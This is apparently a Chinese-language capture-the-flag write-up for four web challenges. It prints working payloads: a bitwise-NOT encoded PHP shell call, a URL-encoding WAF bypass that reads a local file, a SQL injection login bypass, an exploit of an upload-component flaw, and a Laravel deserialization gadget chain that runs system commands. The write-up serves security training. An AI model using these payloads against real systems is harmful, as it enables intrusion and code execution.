Web
hate-php
一般的无字母shell,直接用~取反就行了。
1 | http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)(~(%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)) |
do you know
变量赋值一直绕不过去,$param和$type这些无法赋值,无法xxe。测试了一下,$_SERVER['QUERY_STRING'];
不会进行url解码,而后面赋值是$_GET赋的值,保存的是解码后的值,也就是说waf检测的是url解码前的value,直接将 file:///var/www/html/flag.php 进行url编码,可以拿到flag。
1 | http://121.36.64.91/?a=1&b=1&url=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70 |
美团外卖
www.zip源码泄漏,审计源码。登陆处没有什么过滤。
password=123456&username=admin' and 0 union select 'e10adc3949ba59abbe56e057f20f883e' limit 1 offset 0#
可以登陆,但是session里面的user不是admin,很多东西没法搞。
尝试注admin的密码,用时间盲注,不能用逗号,使用case when以及substr from 绕过,结果题目限制请求速率,sleep(10)都不行,还ban ip…. 应该不是盲注。找找应该有其他注入点,审计到daochu.php,没有任何过滤,还有回显。
有个hint,读一下列名,是hints。读一下数据:
看这个目录,和主页一模一样的界面…这应该是真目录。两个目录肯定有不同。
新目录可以访问lib文件夹,而原来的不可以,lib里肯定有东西。在lib文件夹下发现webuploader,版本是0.1.5,搜一波有洞:
1 | https://9finger.cn/2020/03/06/CNVD-2018-26054%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/#%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90 |
链接exp打上去,php被过滤,换个大小写:
提示让我访问http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/e98a4571cf72b798077d12d6c94629.php,回显getfile。试一下file=phpinfo();不行,file=/flag,读到flag。
Laravel
index路由就一个反序列化,显然就是找链。搜到这一篇:https://www.anquanke.com/post/id/184541#h3-2。
这里的Generator类可以用,但是另一个IlluminateBroadcasting没有。我们需要找到一个类,其中一个属性可控,赋值成构造的Generator对象,同时这个类析构函数需要调用这个属性的一个不存在的方法。这样就可以调用Generator的__call从而RCE。。Vendor文件夹里搜索__destruct,找到了一个:
parent可以控制,那么仿照链接中的例子,我们就可以实现RCE。
1 |
|
1 | O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D |